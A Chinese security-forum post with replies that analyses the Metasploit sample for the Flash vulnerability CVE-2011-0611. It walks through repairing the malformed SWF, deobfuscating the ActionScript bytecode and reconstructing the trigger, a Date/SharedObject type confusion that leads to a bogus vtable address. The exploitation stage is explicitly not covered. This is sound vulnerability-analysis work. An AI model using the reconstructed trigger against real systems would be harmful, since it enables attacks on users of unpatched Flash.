首页
社区
课程
招聘
[原创]CVE-2011-0611 分析
2011-7-29 17:40 13764

[原创]CVE-2011-0611 分析

2011-7-29 17:40
13764
CVE-2011-0611 分析

参考文献:

http://secunia.com/blog/210/

写的理由:

回过头来看,Secunia的文章对该样本的分析已经非常详尽了,但是,在最初拿到样本,对照文章逐步对其进行解剖时,总是会许多无从下手的问题。

所以,就有了写这篇分析的想法,一方面是锻炼英文,一方面是因为“Happiness is only real when shared“,希望大牛们对文章中的错误

作出指正。好了,言归正传,下面就开始进入正题吧。

漏洞概述:

此处不再赘述。

分析正文:

Secunia的样本是一个嵌入了Flash的Word文档,文档名为"Disentangling Industrial Policy and Competition Policy.doc",可以在文章附件获取到

,嵌入的Flash偏移地址是0x2E08,流大小为0x2775字节。我们分析的样本是Metasploit中的CVE-2011-0611.swf,大小为1484字节,文件不同,原理一

致。



图片 Head.jpg

在对SWF格式零知识的情况下,用Flasm对样本进行反编译,命令行为 flasm -d CVE-2011-0611.swf > Now.txt,提示解码错误。



图片 DecodeErrorOne.JPG

错误信息为常量池(constant pool)长度错误,与Secunia文章中提到的第一个错误一致。

************************************************************************************************************************************
                                                                               
ActionRecode格式为:                                                                       
                                                                                       
值域                类型                                描述                                       
                                                                                               
ActionCode        UI8                                Action类型                               
Length                如果Code大于0x80,长度为UI16        ActionCode后面数据的字节数               
                                                                                       
常量池的格式为:                                                                        
                                                                                       
值域                        类型                描述                                               
                                                                                               
ActionConstantPool        UI8                0x88                                                               
Count                        UI16                常量个数                                       
ConstantPool         STRING[Count]      字符串常量                                       
                                                                                       
说明:在每个Action Block首部,如果有任何变量,方法或字符串使用了两次以上,那么Flash会建立一个常量池。实际上,只要有一个变量使用了一次以上,该代码块中的所有字符串都会加入该池。                                                                               
                                                                                       
************************************************************************************************************************************

错误的常量池改正后为:



图片 HeadCorrected.JPG

再次使用Flasm进行反编译,解码结果仍然提示 Disassembly may be incomplete:wrong action length encountered,即错误的Action长度。一个一个记录的检查肯定坑爹,使用010 Editor + SWF

Template进行格式检查,模板结果显示SWF解析至DoAction段就出现了错误。打开DoAction节点,错误发生在0x5B1处。



图片 TemplateResult.JPG


图片 ParseError.JPG

发生错误的记录类型为0x96,ActionPush

************************************************************************************************************************************
                                                                                       
值域                        类型                描述                                               
                                                                                       
ActionPush                ActionRecord        0x96,ActionRecord的长度为值类型和值的字节数       
Type                        UI8                0 = 以Null为终止符的字符串                       
                                        1 = 32位小端浮点数                               
                                        以下类型在SWF >= 5 版本有效                       
                                        2 = null                                       
                                        3 = undefined                                       
                                        4 = register                                       
                                        5 = boolean                                       
                                        6 = 64位双精度小端double                       
                                        7 = 32位小端integer                               
                                        8 = constant 8                                       
                                        9 = constant 16                                       
                                                                                       
************************************************************************************************************************************

该ActionPush记录为 96 27 01 FB 68 DB 39 D5 54 73 34 0F 46 40 9E 66 12

首先记录长度错误,将 27 01 修改为 0E 00,然后修改一个字节的类型,将 FB 修改为 00 字符串类型。

再次使用Flasm进行反编译,结果提示表示一个Action中存在分支结构,这些分支结构即为Secunia提到的复杂混淆,下面的工作是消除这些混淆。反编
译结果中存在较多形同如下代码的无效指令:

push FALSE, 326943637, 326943739        //压入两个数
oldEquals        //是否相等,显然不等
not                //结果取反为真
branchIfTrue label44        //满足跳转

将所有的没有必要的前向跳转和后向跳转去掉,例如:

label2:
        branch label8
label4:
        ... ...
label8:
        push X_PROPERTY, UNDEF, X_PROPERTY, c:0
        branch label4

可以简化为:

label2:
        push X_PROPERTY, UNDEF, X_PROPERTY, c:0
        ... ...

去混淆结果“代码块一”为,已经将常量索引用具体字符串替代:

frame 0
    	constants 'String', 'length', 'charCodeAt', 'fromCharCode', 'charAt', 'case', 'TextFormat', 'size', 'ABCDE'... ...
	
	function2 default (r:2='') ()
      		push X_PROPERTY, UNDEF, X_PROPERTY, 'String'
      		new
      		setRegister r:3
      		pop
      		setRegister r:1
      		pop
      		setRegister r:1
      		pop
     	label1:
      		push r:1, r:2, 'length'
      		getMember
      		lessThan
      		not
      		branchIfTrue label2
      		push r:1, 1, r:2, 'charAt'
      		callMethod
      		trace
      		push r:3, r:1, 1, r:2, 'charCodeAt'
      		callMethod
      		push 3
      		subtract
      		push 1, 'String'
      		getVariable
      		push 'fromCharCode'
      		callMethod
      		add
      		setRegister r:3
      		pop
      		push r:1
      		increment
      		setRegister r:1
      		pop
      		branch label1
     	label2:
      		push r:3
      		return
    	end // of function default  


看到上面的代码块,可能有点儿惘然,function2、r:数字、getMember、callMethod、等等关键词是什么含义,理解了这些关键词,还原

ActionScript的问题就迎刃而解了。

************************************************************************************************************************************

1.function2

我们的理解是自定义函数类型,下面给个简短的AS块:

function foo(strParam_1:string, strParam_2:string)
{
        trace(strParam_1.length);
        trace(strParam_2.length);                                                                               
}

foo('Adobe','flash');

反编译结果:

frame 0
	function2 foo(r:1 = 'strParam_1', r:2 = 'strParam_2')()
		push r:strParam_1, 'length'
		getmember
		trace
		push r:strParam_2, 'length'
		getmember
		trace
	end
	
	push 'Flash', 'Adobe', 2, 'foo'	//AVM 支持连续push
	callFunction
	pop
	end


2.寄存器  r:标识符

在AVM中的表示为全局寄存器,Flash虚拟机(以下简称为AVM)中有4个全局寄存器,r:0、r:1、r:2、r:3,访问变量比访问寄存器要慢许多,所以应该将最常用的变量存入寄存器以供访问。

同时在function2中有r:0 ~ r:254 一共255个本地寄存器,可以通过标识符访问,例如 r:strParam_1

将一个变量存入寄存器:

push 'paused'
getVariable
setRegister r:1

取用时,使用r:1,例如:push r:1。

3.getVariable/setVariable 字面理解就是获取/设置变量的实际值,该方法在调用之后不会将值从堆栈中弹出,需要自行POP栈顶。

4.setRegister 设置寄存器值,该方法在设置值之后不会将值从堆栈中弹出,需要自行POP栈顶。

5.getMember 访问一些类型支持的成员函数,例如

push 'String', 'length'
getMember

即调用'String'.length;

6.callMethod 访问一些AVM支持的方法,例如

push 1, 'String'
getVariable
push 'fromCharCode'
callMethod

即调用 'String'.fromCharCode(1),压栈顺序遵循 参数...对象...方法。

7.调用约定

多数情况下,AVM中遵循这样的规则 最右边参数... ... 最左边参数... ... 参数个数... ... 函数       

8.宏,我们还不知道标准的称呼是?举个小例子便于理解:

getProperty('a', _x),获取'a'对象的_x属性,可以反编译为:

push 'a', Y_PROPERTY,
getProperty

setProperty('box2', _y, getProperty('box1', _y)),可以反编译为:

push 'box2', Y_PROPERTY, 'box1', 1
getProperty
setProperty

涉及到的宏为       

_x        0        X_PROPERTY
_y        1        Y_PROPERTY

************************************************************************************************************************************

如果能理解这些编译规则,那么就可以对去混淆后的代码块进行还原了。

default函数还原后为将传入的字符串的每个字符值减3,伪代码(好烂的伪代码)为:

default(string){
	var i = string.length;
	var res;
	while(i)
	{
		var a = string.charAt(i);
		a = a - 3;
		res += a;
		i--;
	}
	return res
}


代码块二

       
push 'case', X_PROPERTY, 'TextFormat'
    	new
    	varEquals
    	push 'Gdwh1surwrw|sh', 1, 'default', 'wwrsurw@w+th', 1, 'getTextExtent', 'case', 'zwsw3surwrw+th', 1,... ... 	
   	getVariable
    	push 'size', 100
    	setMember
    	getVariable
    	swap
    	callMethod
    	pop
    	getVariable
    	swap
    	callMethod
    	pop
    	callFunction // A
    	getVariable
    	push 'ABCDE', 'VkduhgRemhfw1surwrw|sh', 1, 'default'
    	callFunction	// B
    	getVariable
    	push 'getSize'
    	getMember
    	setMember
    	push 'Gdwh1surwrw|sh', 1, 'default'
    	callFunction	// C
    	getVariable
    	push 'getDay'

    	function2 () (r:1='this')
      		push X_PROPERTY, r:this, 'ABCDE'
      		callMethod
      		pop
    	end // of function 


简化为:
       
push 'Date.prototype'
	getVariable

	push 'ABCDE', 'SharedObject.prototype'
	getVariable

	push 'getSize'
    	getMember
    	setMember 

	push 'Date.prototype'
    	getVariable

	push 'getDay'
    	function2 () (r:1='this')
      		push 0, 1, r:this, 'ABCDE'
      		callMethod
      		pop
    	end


还原为ActionScript:
       
代码块三
       
setMember
    	push X_PROPERTY, 'getFontList', 'TextField', 1, 'Math', 2, 'createEmptyMovieClip', 'this', ... ...
    	varEquals
    	new
    	varEquals
    	getVariable
    	swap
    	callMethod
    	varEquals
    	getVariable
    	swap
    	callMethod
    	pop
    	getVariable
    	swap
    	callMethod
    	pop
    	getVariable
    	swap
    	callMethod
    	pop
    	getVariable
    	swap
    	callMethod
    	pop
    	getVariable
    	swap
    	callMethod
    	pop
    	getVariable
    	swap
    	callMethod
    	pop

简化为:
	push 'continue', 3.1415926, 1, 'Date'
    	new
    	varEquals
    	push 'case', 1.41466385537348e-315, 1, 'Date'
    	new
    	varEquals
    	push 0, 'getDay', 'case'
    	getVariable
    	swap
   	callMethod


根据调用规则,将代码块二和三简化的结果还原为ActionScript如下:

Date.prototype.ABCDE = SharedObject.prototype.getSize;
Date.prototype.getDay = function () {this.ABCDE();};

var f:Date = new Date(1.41466385537348e-315);
f.getDay();


浅层原因:

1.41466385537348e-315 在堆栈中保存时的形式为 0x11111110

调用f.getDay()时,相当于调用 SharedObject.prototype.getSize, 将传入的Data对象误认为SharedObject,导致将 0x11111110 作为函数虚表地址

访问,造成访问异常。

漏洞利用:

暂不在本文讨论范围之内。

分析文档见附件。

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞5
打赏
分享
最新回复 (23)
雪    币: 599
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
猪猡公园 2011-7-29 17:47
2
0
楼主真厉害,一边景仰一边学习。
雪    币: 1675
活跃值: (594)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
djxh 2011-7-29 18:35
3
0
下载,学习~LZ辛苦鸟~
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
instruder 4 2011-7-29 18:48
4
0
呵呵 以为是net framework漏洞。。  膜拜下
雪    币: 386
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
lovesuae 1 2011-7-30 07:51
5
0
有了date这个泄露,很多不升级flash的人就要倒霉了,分析得很好,支持!
雪    币: 192
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
张文猛 2011-7-30 15:34
6
0
支持下 呵呵
雪    币: 36
活跃值: (128)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
UUMonkey 2011-8-3 15:39
7
0
上个样本呗?
雪    币: 21
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
pende 1 2011-8-4 09:24
8
0
同学啊,,,,样本已上传
雪    币: 27
活跃值: (84)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
tihty 2 2011-8-4 09:31
9
0
谢谢分享, 漏洞贴是要持续关注的 :)
雪    币: 110
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
godisagirl 2011-8-4 15:58
10
0
楼主强大,人肉去伪存真啊,学习、感谢。
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
youstar 2 2011-8-8 20:06
11
0
顶顶更健康,不管你信不信,反正我是信了
雪    币: 67
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hqm 2011-8-10 15:00
12
0
顶哦
雪    币: 36
活跃值: (128)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
UUMonkey 2011-8-10 17:33
13
0


谢谢谢!
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Greater 2011-8-30 11:11
14
0
楼主给力的很辣

oooO ↘┏━┓ ↙ Oooo
( 踩)→┃你┃ ←(死 )
  \ ( →┃√┃ ← ) /
  \_)↗┗━┛ ↖(_/
哈哈
雪    币: 58
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pzk 2011-9-6 19:05
15
0
学习了~~ lz分析得很好~~
雪    币: 310
活跃值: (159)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
kindsjay 4 2011-9-15 14:37
16
0
能否问下,要看懂这篇文章,需要什么前提知识
雪    币: 389
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
wingdbg 2 2011-9-15 17:00
17
0
楼主能提供点AS2编译规则的资料吗?我对

getProperty('a', _x),获取'a'对象的_x属性,可以反编译为:
push 'a', Y_PROPERTY,
getProperty

setProperty('box2', _y, getProperty('box1', _y)),可以反编译为:

push 'box2', Y_PROPERTY, 'box1', 1
getProperty
setProperty

涉及到的宏为

_x 0 X_PROPERTY
_y 1 Y_PROPERTY


不是很懂啊。
雪    币: 21
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
pende 1 2011-9-16 11:58
18
0
了解AVM中操作码的格式以及对应的操作指令
了解一些AS语句的语法,编译与反编译的关系
一些泛面向对象基础
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2011-9-21 23:40
19
0
佩服,非常的精彩,如果有机会的话,希望可以跟你学习
雪    币: 84
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wlksl 2011-9-22 10:30
20
0
楼主写的很详细,赞!!!
可是附件里没看见Disentangling Industrial Policy and Competition Policy.doc 文件呀!!谁那里有??
雪    币: 1327
活跃值: (355)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
chence 4 2012-1-11 20:16
21
0
顶~ 下载下来分析分析!
雪    币: 692
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
badboynt 2012-4-16 17:26
22
0
lz,小白来问个问题,既然样本swf文件中存在格式错误,那么为什么直接打开依然可以触发漏洞呢?flash player为什么依然可以执行到
Date.prototype.ABCDE = SharedObject.prototype.getSize;
Date.prototype.getDay = function () {this.ABCDE();};

var f:Date = new Date(1.41466385537348e-315);
f.getDay();
此处的代码?
雪    币: 110
活跃值: (68)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
scdeny 2 2013-5-9 15:14
23
0
Namely, the size value of 0x15 included at offset 0x3D in the SWF does not correspond to the actual size of the constants (0x14), causing some disassemblers to interpret following code from an incorrect offset.

00000030  0E 12 9D 02 00 4C 04 9D 02 00 18 00 88 15 00 09 .....L..........
00000040  00 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 .A.B.C.D.E.F.G.H
00000050  00 49 00 A1 8E 11 00 64 65 66 61 75 6C 74 00 01 .I.....default..

This can be fixed by adding one character to the last constant.

00000050  00 49 49 00 8E 11 00 64 65 66 61 75 6C 74 00 01 .II....default..

楼主遗漏了关键的一步,害我纠结半天,还是感谢!
雪    币: 137
活跃值: (839)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xiaozuzhi 2016-11-24 15:21
24
0
学习了~~不过你简化代码简化的有点厉害~~~☺
游客
登录 | 注册 方可回帖
返回